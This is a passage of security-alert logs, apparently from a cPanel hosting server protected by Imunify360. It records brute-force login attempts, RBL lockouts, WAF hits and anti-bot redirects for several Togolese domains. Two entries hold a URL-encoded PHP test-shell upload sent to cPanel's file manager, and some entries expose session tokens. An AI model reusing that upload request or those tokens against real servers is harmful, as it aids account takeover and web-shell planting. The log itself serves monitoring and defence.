country_id: 6252001
description:
[2026-06-22 14:26:41 +0000] info [cpaneld] 24.139.39.18 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.108.215.234
country_id: 6252001
description:
[2026-06-22 14:27:19 +0000] info [cpaneld] 216.108.215.234 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.9.101.39
country_id: 6252001
description:
[2026-06-22 14:27:45 +0000] info [cpaneld] 75.9.101.39 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.184.67.19
country_id: 1643084
description:
103.184.67.19 - - [22/Jun/2026:14:30:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985579&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782138614 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.184.67.19


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.164
country_id: 3469034
description:
Jun 22 14:29:42 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.164 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.230.92.39
country_id: 1512440
description:
213.230.92.39 - - [22/Jun/2026:14:32:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661592&pdata=https%253A%252F%252Fwebmail.cinema.free.netmaster.tg%252F%253Flocale%253Dfr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782138735 HTTP/2.0" 302 0 webmail.cinema.free.netmaster.tg "https://webmail.cinema.free.netmaster.tg/?locale=fr" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.230.92.39


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.248.189
country_id: 2658434
domain: digilix.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/digilix.tg:80/assets/images/banner.png HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.76.33
country_id: 3077311
domain: digilix.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/digilix.tg:80/assets/images/team-digilix.png HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:14:33:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054804&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782138808 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.73.188
country_id: 6252001
description:
[2026-06-22 14:32:44 +0000] info [cpaneld] 217.181.73.188 - sahamtg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-22 14:33:42 +0000] info [whostmgrd] 80.248.64.198 - root "GET / HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11009
name: WHM login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-22 14:33:50 +0000] info [whostmgrd] 80.248.64.198 NEW root:zazOVVrvw4p4DyRg address=80.248.64.198,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.123.92.130
country_id: 6252001
description:
Jun 22 14:34:06 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.123.92.130 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:14:33:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661034&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782138812 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.123.92.130
country_id: 6252001
description:
2026-06-22 14:34:08 dovecot_login authenticator failed for H=([98.178.72.4]) [50.123.92.130]:43181: 535 Incorrect authentication data (set_id=collectetvabackend@otr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 14:35:49 +0000] info [cpaneld] 103.65.237.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.132
country_id: 3469034
description:
Jun 22 14:35:55 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.132 has been locked due to Imunify RBL


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jun 22 14:36:35 ns5 dovecot[2554018]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.151.246.121
country_id: 1880251
description:
54.151.246.121 - - [22/Jun/2026:14:37:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117718&pdata=https%253A%252F%252Fcpanel.otf-boutique.free.netmaster.tg%252F%253Flocale%253Did&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139071 HTTP/2.0" 302 0 cpanel.otf-boutique.free.netmaster.tg "https://cpanel.otf-boutique.free.netmaster.tg/?locale=id" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.151.246.121


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.39
country_id: 1880251
description:
47.128.112.39 - - [22/Jun/2026:14:40:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169897&pdata=https%253A%252F%252Fcaissederetraites.tg%252Fdocs%252F63.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139225 HTTP/2.0" 302 0 caissederetraites.tg "https://caissederetraites.tg/docs/63.pdf" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.39


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.226.169
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/board_2025-300x188.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/board_2025-768x480.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/board_2025.webp 800w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.109
country_id: 1814991
description:
27.115.124.109 - - [22/Jun/2026:14:45:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183513&pdata=https%253A%252F%252Fsodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139522 HTTP/2.0" 302 0 sodigaz.tg "https://sodigaz.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.13.179
country_id: 6252001
description:
[2026-06-22 14:45:29 +0000] info [cpaneld] 195.63.13.179 - qfaclpeg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Shell+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.11.74
country_id: 6252001
description:
[2026-06-22 14:45:28 +0000] info [cpaneld] 195.63.11.74 - doufelg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Shell+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:14:47:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909544&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139625 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:14:47:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986350&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139633 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 180.252.89.129
country_id: 1643084
description:
[2026-06-22 14:46:54 +0000] info [cpaneld] 180.252.89.129 NEW tgkkwsvr:RPOv8mCsFIcpeCML address=180.252.89.129,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 14:49:10 +0000] info [cpaneld] 103.65.237.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.39.212.109
country_id: 2510769
description:
Jun 22 14:49:18 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.39.212.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.157.212
country_id: 690791
description:
Jun 22 14:49:48 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.157.212 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.88.147.251
country_id: 1522867
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1218230083 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.80.245.107
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548.jpg 2500w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-1024x683.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-1536x1024.jpg 1536w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-2048x1366.jpg 2048w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.213.83.197
country_id: 1643084
description:
185.213.83.197 - - [22/Jun/2026:14:54:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843801&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140040 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.213.83.197


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.221.162.139
country_id: 6252001
description:
[2026-06-22 14:54:47 +0000] info [cpaneld] 97.221.162.139 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.14.20.58
country_id: 6252001
description:
[2026-06-22 14:54:50 +0000] info [cpaneld] 71.14.20.58 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [22/Jun/2026:14:58:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263958&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140302 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [22/Jun/2026:14:58:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869159&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140306 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [22/Jun/2026:14:58:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236461&pdata=http%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140301 HTTP/1.1" 302 0 24heureinfo.tg "http://24heureinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 14:58:01 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:34660: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [22/Jun/2026:14:59:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815240&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140351 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.199
country_id: 6252001
description:
[2026-06-22 15:00:04 +0000] info [cpaneld] 107.174.169.199 NEW wcnyaruu:jVFqw2nLRRhtGMlb address=107.174.169.199,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.176.19
country_id: 1269750
description:
Jun 22 15:01:24 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.176.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.176.19
country_id: 1269750
description:
Jun 22 15:01:32 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.176.19 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:15:02:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445415&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140559 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:02:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052436&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140561 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.145
country_id: 3469034
description:
Jun 22 15:04:25 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.145
country_id: 3469034
description:
Jun 22 15:04:33 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.145 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.10.44.157
country_id: 1643084
description:
114.10.44.157 - - [22/Jun/2026:15:07:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739114&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140844 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.10.44.157


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.94.255.160
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/MG_2183-700x300.jpg 700w, http:/togodailynews.tg/wp-content/uploads/2022/12/MG_2183-700x300-300x129.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.166.113
country_id: 1880251
description:
104.28.166.113 - - [22/Jun/2026:15:08:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247208&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140919 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 9; CPH2015) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.166.113


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-22 15:14:02 +0000] info [cpaneld] 196.171.46.177 - togoinrdceh "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.28.18] != Current IP Address [196.171.46.177]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-22 15:14:07 +0000] info [cpaneld] 196.171.46.177 NEW togoinrdceh:1rSrKpOj5eYzghAK address=196.171.46.177,app=cpaneld,creator=togoinrdceh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.182
country_id: 690791
description:
Jun 22 15:15:16 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.182 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.163.16
country_id: 1880251
description:
104.28.163.16 - - [22/Jun/2026:15:15:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015451&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782141305 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 11; CPH2269) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.163.16


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.113.101.3
country_id: 6252001
description:
[2026-06-22 15:15:08 +0000] info [cpaneld] 68.113.101.3 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.18.49.234
country_id: 6252001
description:
[2026-06-22 15:15:43 +0000] info [cpaneld] 174.18.49.234 - dav "GET /login/?login_only=1&user=dav&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dav (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.153.123.173
country_id: 6252001
description:
[2026-06-22 15:15:34 +0000] info [cpaneld] 76.153.123.173 - davete "GET /login/?login_only=1&user=davete&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davete (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.182.166.51
country_id: 6252001
description:
[2026-06-22 15:15:48 +0000] info [cpaneld] 73.182.166.51 - da "GET /login/?login_only=1&user=da&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user da (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:15:17:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067354&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782141459 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:17:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855385&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782141462 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.255.70.29
country_id: 458258
description:
Jun 22 15:22:19 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.255.70.29 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.60.165.141
country_id: 6252001
description:
[2026-06-22 15:23:19 +0000] info [cpaneld] 24.60.165.141 - ariana "GET /login/?login_only=1&user=ariana&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ariana (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.255.70.29
country_id: 458258
description:
Jun 22 15:22:32 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.255.70.29 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.231.129.28
country_id: 6252001
description:
